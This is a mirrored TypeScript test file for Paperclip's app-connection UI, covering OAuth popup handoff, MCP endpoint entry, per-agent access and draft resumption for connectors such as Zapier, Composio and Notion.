mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-10-30 13:20:54 +01:00
Reviewed partition of the current-master Copilot integration. Complete v30 live qualification is retained; current v31 recovery compatibility, CI and review are tracked explicitly. Co-Authored-By: Paperclip <noreply@paperclip.ing>
4272 lines
190 KiB
TypeScript
4272 lines
190 KiB
TypeScript
// @vitest-environment jsdom
|
||
|
||
import { act, type ReactNode } from "react";
|
||
import { createRoot, type Root } from "react-dom/client";
|
||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||
import { CONNECTABLE_APP_DEFINITIONS, GOOGLE_WORKSPACE_CONNECTOR_PROFILES, getAppStoreDefinition } from "@paperclipai/shared";
|
||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||
import { ApiError } from "@/api/client";
|
||
import { aiConnectionsApi } from "@/api/ai-connections";
|
||
import { queryKeys } from "@/lib/queryKeys";
|
||
import { ConnectionSetupFlow } from "@/features/connections/ConnectionSetupFlow";
|
||
import { rememberSkillSourceReturn, skillSourceReturnPath } from "@/lib/skill-source-connect-return";
|
||
import { AppsConnect } from "./AppsConnect";
|
||
import { TooltipProvider } from "@/components/ui/tooltip";
|
||
|
||
vi.mock("@/api/companies-query", () => ({ useAccountIdentity: () => ({ userId: "board-user", settled: true, failed: false }), resolveAccountUserId: async () => "board-user" }));
|
||
|
||
const listGalleryMock = vi.hoisted(() => vi.fn());
|
||
const experimentalMock = vi.hoisted(() => vi.fn());
|
||
vi.mock("@/api/instanceSettings", () => ({ instanceSettingsApi: {
|
||
getExperimental: experimentalMock,
|
||
get: async () => ({ defaultEnvironmentId: "local-env" }),
|
||
getGeneral: async () => ({}),
|
||
} }));
|
||
const listApplicationsMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionsMock = vi.hoisted(() => vi.fn());
|
||
const getConnectionMock = vi.hoisted(() => vi.fn());
|
||
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const connectAppMock = vi.hoisted(() => vi.fn());
|
||
const startOAuthMock = vi.hoisted(() => vi.fn());
|
||
const finishAppMock = vi.hoisted(() => vi.fn());
|
||
const putConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const getCloudConnectorEnrollmentMock = vi.hoisted(() => vi.fn());
|
||
const startCloudConnectorEnrollmentMock = vi.hoisted(() => vi.fn());
|
||
const listAgentsMock = vi.hoisted(() => vi.fn());
|
||
const mockNavigate = vi.hoisted(() => vi.fn());
|
||
const openAggregatorTaskMock = vi.hoisted(() => vi.fn());
|
||
vi.mock("@/context/DialogContext", () => ({ useDialogActions: () => ({ openNewIssue: openAggregatorTaskMock }) }));
|
||
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
|
||
const mockSearch = vi.hoisted(() => ({ value: "" }));
|
||
const mockParams = vi.hoisted(() => ({ appKey: undefined as string | undefined }));
|
||
const mockCompany = vi.hoisted(() => ({
|
||
value: {
|
||
selectedCompanyId: "company-1" as string | undefined,
|
||
selectedCompany: { id: "company-1", name: "Paperclip" } as { id: string; name: string } | null,
|
||
},
|
||
}));
|
||
|
||
const ZAPIER = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "zapier")!;
|
||
const GITHUB = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "github")!;
|
||
const GITHUB_MANAGED = {
|
||
...GITHUB,
|
||
ownershipAvailability: {
|
||
...GITHUB.ownershipAvailability,
|
||
platform_shared: true,
|
||
},
|
||
};
|
||
const NOTION = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "notion")!;
|
||
const ASANA = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "asana")!;
|
||
const ASANA_MANAGED = {
|
||
...ASANA,
|
||
ownershipAvailability: { ...ASANA.ownershipAvailability, platform_shared: true },
|
||
};
|
||
const BOX = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "box")!;
|
||
const POSTHOG = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "posthog")!;
|
||
const NEON = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "neon")!;
|
||
const SUPERAGENT = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "superagent")!;
|
||
const POSTMAN = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "postman")!;
|
||
const SHOPIFY = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "shopify")!;
|
||
const GOOGLE_SHEETS = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-sheets")!;
|
||
const GOOGLE_CALENDAR = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-calendar")!;
|
||
const GOOGLE_DRIVE = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-drive")!;
|
||
const GMAIL = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "gmail")!;
|
||
const PAGERDUTY = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "pagerduty")!;
|
||
|
||
vi.mock("@/api/tools", () => ({
|
||
toolsApi: {
|
||
syncAggregatorApps: vi.fn().mockResolvedValue({ apps: [], sync: { status: "idle" }, discovery: { availability: "available" } }),
|
||
listGallery: (companyId: string) => listGalleryMock(companyId),
|
||
listApplications: (companyId: string) => listApplicationsMock(companyId),
|
||
listConnections: (companyId: string) => listConnectionsMock(companyId),
|
||
getConnection: (id: string) => getConnectionMock(id),
|
||
getConnectionInstalls: (id: string) => getConnectionInstallsMock(id),
|
||
connectApp: (companyId: string, input: unknown) => connectAppMock(companyId, input),
|
||
startOAuth: (connectionId: string, input?: unknown) => startOAuthMock(connectionId, input),
|
||
finishApp: (companyId: string, connectionId: string, input: unknown) =>
|
||
finishAppMock(companyId, connectionId, input),
|
||
putConnectionInstalls: (connectionId: string, installs: unknown) =>
|
||
putConnectionInstallsMock(connectionId, installs),
|
||
getCloudConnectorEnrollment: () => getCloudConnectorEnrollmentMock(),
|
||
startCloudConnectorEnrollment: (companyId: string, label?: string, returnTo?: string) =>
|
||
startCloudConnectorEnrollmentMock(companyId, label, returnTo),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/api/agents", () => ({
|
||
agentsApi: { list: (companyId: string) => listAgentsMock(companyId) },
|
||
}));
|
||
|
||
vi.mock("@/lib/browserNavigation", () => ({
|
||
navigateTopLevel: (target: string) => navigateTopLevelMock(target),
|
||
}));
|
||
|
||
vi.mock("@/lib/router", () => ({
|
||
useNavigate: () => mockNavigate,
|
||
useParams: () => mockParams,
|
||
useSearchParams: () => [new URLSearchParams(mockSearch.value), vi.fn()],
|
||
}));
|
||
|
||
vi.mock("@/context/CompanyContext", () => ({
|
||
useCompany: () => mockCompany.value,
|
||
}));
|
||
|
||
vi.mock("@/context/BreadcrumbContext", () => ({
|
||
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
|
||
}));
|
||
|
||
vi.mock("@/context/ToastContext", () => ({
|
||
useToast: () => ({ pushToast: vi.fn() }),
|
||
}));
|
||
|
||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
|
||
|
||
async function flushReact() {
|
||
await act(async () => {
|
||
await Promise.resolve();
|
||
await new Promise((resolve) => window.setTimeout(resolve, 0));
|
||
});
|
||
}
|
||
|
||
function setInputValue(input: HTMLInputElement, value: string) {
|
||
const setter = Object.getOwnPropertyDescriptor(
|
||
window.HTMLInputElement.prototype,
|
||
"value",
|
||
)?.set;
|
||
setter?.call(input, value);
|
||
input.dispatchEvent(new Event("input", { bubbles: true }));
|
||
}
|
||
|
||
function setTextareaValue(textarea: HTMLTextAreaElement, value: string) {
|
||
const setter = Object.getOwnPropertyDescriptor(
|
||
window.HTMLTextAreaElement.prototype,
|
||
"value",
|
||
)?.set;
|
||
setter?.call(textarea, value);
|
||
textarea.dispatchEvent(new Event("input", { bubbles: true }));
|
||
}
|
||
|
||
function buttonByText(text: string): HTMLButtonElement | undefined {
|
||
return Array.from(document.body.querySelectorAll("button")).find(
|
||
(b) => b.textContent?.trim() === text,
|
||
) as HTMLButtonElement | undefined;
|
||
}
|
||
|
||
function buttonContaining(text: string): HTMLButtonElement | undefined {
|
||
return Array.from(document.body.querySelectorAll("button")).find(
|
||
(b) => b.textContent?.includes(text),
|
||
) as HTMLButtonElement | undefined;
|
||
}
|
||
|
||
function radioContaining(text: string): HTMLButtonElement | undefined {
|
||
return Array.from(document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]')).find(
|
||
(button) => button.textContent?.includes(text),
|
||
);
|
||
}
|
||
|
||
/** The wizard stepper's progress dots, one per step. */
|
||
function stepDots(): HTMLElement[] {
|
||
return Array.from(
|
||
document.body.querySelectorAll<HTMLElement>('[data-testid="wizard-step-dot"]'),
|
||
);
|
||
}
|
||
|
||
function stepDotCount(): number {
|
||
return stepDots().length;
|
||
}
|
||
|
||
/** The step names printed under the dots, e.g. "Access · Sign in". */
|
||
function stepLabelsOnScreen(): string[] {
|
||
const labelLine =
|
||
document.body.querySelector('[data-testid="wizard-step-labels"]')?.textContent ?? "";
|
||
return labelLine.split("·").map((label) => label.trim()).filter(Boolean);
|
||
}
|
||
|
||
/**
|
||
* Open the Advanced disclosure that now holds the identity and agent-reach
|
||
* controls the Access step used to own (PAP-659 C0). Closed by default and
|
||
* unmounted while closed, so a test that asserts on those controls has to open
|
||
* it first — which is itself the assertion that they are one click away.
|
||
*/
|
||
async function openAccessAdvanced() {
|
||
const change = Array.from(document.body.querySelectorAll("button")).find(
|
||
(b) => b.textContent?.trim() === "Change" && b.getAttribute("aria-expanded") === "false",
|
||
);
|
||
if (!change) return;
|
||
await act(async () => {
|
||
change.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
/**
|
||
* PAP-659 deleted the Access step: picking a connector now opens its connect
|
||
* screen directly, and identity/agent reach are a stated default with an
|
||
* Advanced disclosure rather than a screen to pass.
|
||
*
|
||
* What remains is the one-click handoff the Access step used to perform for
|
||
* automatic-OAuth definitions, which is now the primary action of the sign-in
|
||
* screen itself. Everywhere else this is a no-op, so the call sites keep
|
||
* reading as "get to the part this test is about".
|
||
*/
|
||
async function passAccessStep() {
|
||
const onOAuthEntryScreen = Boolean(
|
||
document.body.textContent?.includes("Paperclip will open")
|
||
|| document.body.textContent?.includes("Your connection is saved."),
|
||
);
|
||
if (onOAuthEntryScreen) {
|
||
const handoff = Array.from(document.body.querySelectorAll("button")).find((b) => {
|
||
const label = b.textContent?.trim() ?? "";
|
||
return label.startsWith("Continue to") || label.startsWith("Finish with");
|
||
});
|
||
await act(async () => {
|
||
handoff?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
return;
|
||
}
|
||
// The remote-MCP aggregator setup (arcade, composio, executor, zapier) keeps
|
||
// its own Access step until PAP-659's no-auth pass replaces it. Recognise it
|
||
// by its own stepper rather than by any control the shared flow also has.
|
||
if (!stepLabelsOnScreen().includes("Access")) {
|
||
await flushReact();
|
||
return;
|
||
}
|
||
const anyAgent = Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((option) => option.textContent?.includes("Any agent"));
|
||
if (anyAgent) {
|
||
await act(async () => {
|
||
anyAgent.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
const submit = Array.from(document.body.querySelectorAll("button")).find((b) => {
|
||
const label = b.textContent?.trim() ?? "";
|
||
return label === "Save and continue" || label === "Continue";
|
||
});
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
/** Submit the curated setup screen after Access for OAuth methods that also
|
||
* expose customer-owned client details. Browser sign-in remains the default
|
||
* when the optional client ID is left empty. */
|
||
async function submitCuratedOAuthSetup() {
|
||
const submit = buttonByText("Continue to sign in");
|
||
// Automatic OAuth definitions hand off directly from Access. Definitions
|
||
// with required provider configuration still render the setup submit.
|
||
if (!submit) {
|
||
await flushReact();
|
||
return;
|
||
}
|
||
await act(async () => {
|
||
submit.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
async function gotoLinkFrame(container: HTMLDivElement, url: string) {
|
||
const linkInput = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).find((i) => i.getAttribute("placeholder")?.startsWith("https://"));
|
||
expect(linkInput).toBeTruthy();
|
||
await act(async () => setInputValue(linkInput!, url));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await passAccessStep();
|
||
}
|
||
|
||
describe("AppsConnect — Connect with a link (M4 frame)", () => {
|
||
let container: HTMLDivElement;
|
||
let mountedRoot: Root | null;
|
||
|
||
beforeEach(() => {
|
||
vi.resetAllMocks();
|
||
experimentalMock.mockResolvedValue({ enableChatConnectors: false });
|
||
window.sessionStorage.clear();
|
||
mockCompany.value = {
|
||
selectedCompanyId: "company-1",
|
||
selectedCompany: { id: "company-1", name: "Paperclip" },
|
||
};
|
||
mockSearch.value = "";
|
||
mockParams.appKey = undefined;
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mountedRoot = null;
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [
|
||
ZAPIER,
|
||
GITHUB,
|
||
],
|
||
capabilities: {
|
||
canCreateOrganizationGrant: true,
|
||
organizationGrantReason: null,
|
||
canSetCompanyInstall: true,
|
||
companyInstallReason: null,
|
||
},
|
||
});
|
||
listApplicationsMock.mockResolvedValue({ applications: [] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||
getConnectionInstallsMock.mockResolvedValue({ installs: [{ targetType: "company", targetId: "company-1" }] });
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-notion",
|
||
provider: "notion",
|
||
authorizationUrl: "https://mcp.notion.com/authorize?state=resumed",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
finishAppMock.mockResolvedValue({});
|
||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: true,
|
||
status: "active",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: ["https://paperclip.example.test"],
|
||
});
|
||
startCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: false,
|
||
status: "pending",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: [],
|
||
verificationUrl: "https://my-staging.paperclip.app/connections/enroll?id=enroll-test",
|
||
});
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "example.com" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
});
|
||
listAgentsMock.mockResolvedValue([
|
||
{ id: "agent-1", name: "Ada", title: "CTO", status: "active", icon: "Bot" },
|
||
{ id: "agent-2", name: "Grace", title: "Engineer", status: "active", icon: "Code" },
|
||
]);
|
||
});
|
||
|
||
afterEach(async () => {
|
||
if (mountedRoot) {
|
||
await act(async () => mountedRoot?.unmount());
|
||
}
|
||
document.body.removeChild(container);
|
||
document.body.innerHTML = "";
|
||
vi.restoreAllMocks();
|
||
vi.clearAllMocks();
|
||
});
|
||
|
||
async function render(queryClient?: QueryClient, byoOnly = false, content?: ReactNode) {
|
||
const root = createRoot(container);
|
||
mountedRoot = root;
|
||
const client = queryClient ?? new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<TooltipProvider>{content ?? <AppsConnect byoOnly={byoOnly} />}</TooltipProvider>
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
return root;
|
||
}
|
||
|
||
it("keeps Honcho setup blocked until the provider workspace is supplied", async () => {
|
||
const honcho = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "honcho")!;
|
||
experimentalMock.mockResolvedValue({ enableMemoryConnectors: true });
|
||
listGalleryMock.mockResolvedValue({ apps: [honcho] });
|
||
await render(undefined, false, <ConnectionSetupFlow serviceSlug="honcho" />);
|
||
const key = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
const workspace = container.querySelector<HTMLInputElement>('input[aria-label="Honcho workspace"]')!;
|
||
expect(workspace.compareDocumentPosition(key) & Node.DOCUMENT_POSITION_FOLLOWING).toBeTruthy();
|
||
expect(container.textContent).toContain(honcho.agentInstructions!.text);
|
||
expect(container.querySelector('[aria-label="Agent instructions"] [role="switch"]')?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => setInputValue(key, "test-honcho-key"));
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
await act(async () => buttonByText("Connect")?.click());
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await act(async () => setInputValue(workspace, "paperclip-acme"));
|
||
expect(buttonByText("Connect")?.disabled).toBe(false);
|
||
await act(async () => buttonByText("Connect")?.click());
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledOnce();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
configValues: { workspaceId: "paperclip-acme" },
|
||
agentInstructions: expect.objectContaining({ enabled: true, text: honcho.agentInstructions!.text }),
|
||
}));
|
||
});
|
||
|
||
it.each([false, true])("shows optional instructions on the Notion OAuth screen only when supplied (%s)", async (provided) => {
|
||
const template = { id: "notion.test", version: 1, text: "Look up published decisions in Notion before proposing changes." };
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...NOTION, agentInstructions: provided ? template : undefined }] });
|
||
await render(undefined, false, <ConnectionSetupFlow serviceSlug="notion" />);
|
||
expect(buttonByText("Continue to Notion")).toBeDefined();
|
||
const toggle = container.querySelector('[aria-label="Agent instructions"] [role="switch"]');
|
||
expect(container.textContent?.includes("Tell agents to use Notion")).toBe(provided);
|
||
if (provided) {
|
||
expect(toggle?.getAttribute("aria-checked")).toBe("true");
|
||
expect(container.textContent).toContain(template.text);
|
||
} else expect(toggle).toBeNull();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["zapier", "arcade", "composio", "executor"])("inline aggregator %s collects the endpoint and completes only for the requester", async (provider) => {
|
||
const onComplete = vi.fn();
|
||
const popup = vi.spyOn(window, "open").mockReturnValue(null);
|
||
const connection = { id: "conn-inline", status: "draft", credentialPolicy: "per_user", authKind: "api_key" };
|
||
connectAppMock.mockResolvedValue({
|
||
connectionId: connection.id, connection,
|
||
catalog: [{ id: "tool-1", status: "active" }, { id: "tool-2", status: "active" }],
|
||
actions: {
|
||
readOnly: [{ catalogEntryId: "tool-1", riskLevel: "read" }],
|
||
canMakeChanges: [{ catalogEntryId: "tool-2", riskLevel: "write" }],
|
||
},
|
||
suggestedDefaults: { askFirstRiskLevels: ["write", "destructive", "high", "critical"] },
|
||
});
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug={provider} requestedAgentId="agent-1" interactionId="intent-inline" onComplete={onComplete} />);
|
||
// PAP-659 C0: the gateway connectors reach the endpoint field immediately.
|
||
// The task-scoped reach is stated rather than confirmed on its own step.
|
||
const connectLabel = `Connect ${provider[0].toUpperCase()}${provider.slice(1)}`;
|
||
expect(container.textContent).toContain("available to the agent that asked for it");
|
||
expect(radioContaining("Any agent")).toBeUndefined();
|
||
if (provider === "composio") {
|
||
expect(container.textContent).not.toContain("MCP server URL");
|
||
expect(buttonByText("Reuse an existing session")?.getAttribute("aria-expanded")).toBe("false");
|
||
expect(buttonByText(connectLabel)?.disabled).toBe(false);
|
||
await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
}
|
||
expect(container.textContent).toContain("MCP server URL");
|
||
expect(container.textContent).not.toContain("Add your key");
|
||
expect(container.textContent).not.toContain("Step 1 of 2");
|
||
const url = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
expect(url.value).toBe(provider === "composio" ? "https://connect.composio.dev/mcp" : "");
|
||
expect(buttonByText(connectLabel)?.disabled).toBe(provider !== "composio");
|
||
await act(async () => setInputValue(url, "not a url"));
|
||
await act(async () => buttonByText(connectLabel)!.click());
|
||
expect(container.textContent).toContain("Enter a valid MCP URL");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await act(async () => setInputValue(url, "https://provider.example/mcp"));
|
||
// The sign-in method shares the one Advanced disclosure with the access
|
||
// controls, and Radix unmounts collapsed content — so it has to be opened.
|
||
expect(container.querySelector("select")).toBeNull();
|
||
await act(async () => buttonByText("Change")!.click());
|
||
expect(buttonByText("Advanced")).toBeUndefined();
|
||
expect(buttonByText("Change")?.getAttribute("aria-expanded")).toBe("true");
|
||
await act(async () => {
|
||
const auth = container.querySelector<HTMLSelectElement>("select")!;
|
||
auth.value = "bearer";
|
||
auth.dispatchEvent(new Event("change", { bubbles: true }));
|
||
});
|
||
const token = container.querySelector<HTMLInputElement>('input[id$="-token"]')!;
|
||
await act(async () => setInputValue(token, "fixture-token"));
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(onComplete).toHaveBeenCalledWith({ connectionId: connection.id }));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ galleryKey: provider, link: "https://provider.example/mcp", grantKind: "user", authMode: "bearer", credentialValues: { "credentials.authorization": "fixture-token" } }));
|
||
// PAP-659 C6a/C7: this path used to send an empty ask-first list, so the
|
||
// gateway connectors were the one place the armed write gate did not apply.
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", connection.id, { enabledCatalogEntryIds: ["tool-1", "tool-2"], askFirstCatalogEntryIds: ["tool-2"], access: { agentIds: ["agent-1"] }, preserveExistingAccess: true });
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(mockNavigate).not.toHaveBeenCalled();
|
||
expect(popup).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["arcade", "composio", "executor"])("inline aggregator %s binds OAuth to the task and retries the same draft", async (provider) => {
|
||
const onComplete = vi.fn();
|
||
const onPhaseChange = vi.fn();
|
||
const popup = { closed: false, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
vi.spyOn(window, "open").mockReturnValue(popup as unknown as Window);
|
||
const connection = { id: "conn-inline-oauth", status: "draft", credentialPolicy: "per_user", authKind: "oauth" };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [], auth: { kind: "oauth" } });
|
||
const root = await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug={provider} requestedAgentId="agent-1" interactionId="intent-inline" onComplete={onComplete} onPhaseChange={onPhaseChange} />);
|
||
const connectLabel = `Connect ${provider[0].toUpperCase()}${provider.slice(1)}`;
|
||
if (provider === "composio") await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[type="password"]')!, "https://provider.example/mcp"));
|
||
await act(async () => buttonByText(connectLabel)!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledWith(connection.id, { asCurrentUser: true, interactionId: "intent-inline" }));
|
||
expect(popup.location.assign).toHaveBeenCalled();
|
||
popup.closed = true;
|
||
expect(container.textContent).toContain("Paperclip is waiting for confirmation");
|
||
expect(container.querySelector('a[target="_blank"]')?.getAttribute("href")).toBe("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
const message = (origin: string, interactionId: string, outcome: string) => window.dispatchEvent(new MessageEvent("message", { origin, data: { type: "paperclip.connection-intent.oauth", interactionId, outcome } }));
|
||
await act(async () => { message("https://untrusted.example", "intent-inline", "connected"); message(window.location.origin, "other-intent", "connected"); });
|
||
expect(onComplete).not.toHaveBeenCalled();
|
||
await act(async () => message(window.location.origin, "intent-inline", "failed"));
|
||
expect(container.textContent).toContain("Authorization did not complete");
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledTimes(2));
|
||
expect(connectAppMock).toHaveBeenLastCalledWith("company-1", expect.objectContaining({ resumeConnectionId: connection.id }));
|
||
await act(async () => message(window.location.origin, "intent-inline", "connected"));
|
||
expect(onComplete).toHaveBeenCalledWith({ resolvedByCallback: true });
|
||
await act(async () => root.unmount());
|
||
mountedRoot = null;
|
||
expect(popup.close).toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["blocked", "throws", "closed"])("keeps inline Composio sign-in recoverable when its popup is %s", async (failure) => {
|
||
const popup = { closed: true, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
const open = vi.spyOn(window, "open").mockImplementation(() => {
|
||
if (failure === "throws") throw new Error("Browser blocked the popup");
|
||
return failure === "closed" ? popup as unknown as Window : null;
|
||
});
|
||
const onPhaseChange = vi.fn();
|
||
const onComplete = vi.fn();
|
||
const connection = { id: "conn-composio", status: "draft", credentialPolicy: "per_user" };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [], auth: { kind: "oauth" } });
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="composio" interactionId="intent-inline" onPhaseChange={onPhaseChange} onComplete={onComplete} />);
|
||
await act(async () => buttonByText("Connect Composio")!.click());
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Paperclip couldn’t open sign-in"));
|
||
|
||
const link = container.querySelector<HTMLAnchorElement>('a[target="_blank"]')!;
|
||
expect(link.href).toBe("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(link.rel).toBe("noopener noreferrer");
|
||
expect(onPhaseChange).toHaveBeenCalledWith("needs_retry");
|
||
const click = new MouseEvent("click", { bubbles: true, cancelable: true });
|
||
await act(async () => link.dispatchEvent(click));
|
||
expect(click.defaultPrevented).toBe(false);
|
||
expect(onPhaseChange).toHaveBeenLastCalledWith("authorizing");
|
||
expect(container.textContent).not.toContain("Paperclip couldn’t open sign-in");
|
||
expect(open).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledTimes(1);
|
||
expect(onComplete).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["arcade", "composio", "executor"])("keeps a native sign-in link when direct %s navigation is blocked", async (provider) => {
|
||
mockSearch.value = `source=${provider}`;
|
||
const connection = { id: "conn-provider", status: "draft", credentialPolicy: "shared" };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [], auth: { kind: "oauth" } });
|
||
navigateTopLevelMock.mockImplementationOnce(() => { throw new Error("Browser refused navigation"); });
|
||
await render();
|
||
if (provider !== "composio") {
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[id$="-url"]')!, "https://provider.example/mcp"));
|
||
}
|
||
await act(async () => buttonByText(`Connect ${provider[0].toUpperCase()}${provider.slice(1)}`)!.click());
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Paperclip couldn’t open sign-in"));
|
||
|
||
const link = container.querySelector<HTMLAnchorElement>('a[target="_blank"]')!;
|
||
expect(link.textContent).toBe("open sign-in again");
|
||
expect(link.href).toBe("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(link.rel).toBe("noopener noreferrer");
|
||
const click = new MouseEvent("click", { bubbles: true, cancelable: true });
|
||
await act(async () => link.dispatchEvent(click));
|
||
expect(click.defaultPrevented).toBe(false);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledTimes(1);
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Waiting for sign-in");
|
||
});
|
||
|
||
it("inline aggregator saves and resumes a draft without storing credentials in browser storage", async () => {
|
||
const onCancel = vi.fn();
|
||
const connection = { id: "conn-inline-draft", status: "draft", credentialPolicy: "per_user", authKind: "none", config: { url: "https://provider.example/mcp", sourceTemplateKey: "zapier", connectionMethodKey: "generated-url" } };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [] });
|
||
getConnectionMock.mockResolvedValue(connection);
|
||
const content = <ConnectionSetupFlow host="dialog" serviceSlug="zapier" requestedAgentId="agent-1" interactionId="intent-inline" onCancel={onCancel} />;
|
||
const root = await render(undefined, false, content);
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[type="password"]')!, "https://provider.example/mcp?token=fixture-secret"));
|
||
await act(async () => buttonByText("Save & exit")!.click());
|
||
await vi.waitFor(() => expect(onCancel).toHaveBeenCalled());
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ saveDraft: true }));
|
||
expect(sessionStorage.getItem("paperclip:mcp-intent-draft:company-1:intent-inline")).toBe(connection.id);
|
||
expect(JSON.stringify(sessionStorage)).not.toContain("fixture-secret");
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
await act(async () => root.unmount());
|
||
mountedRoot = null;
|
||
await render(undefined, false, content);
|
||
await vi.waitFor(() => expect(container.textContent).toContain("MCP server URL"));
|
||
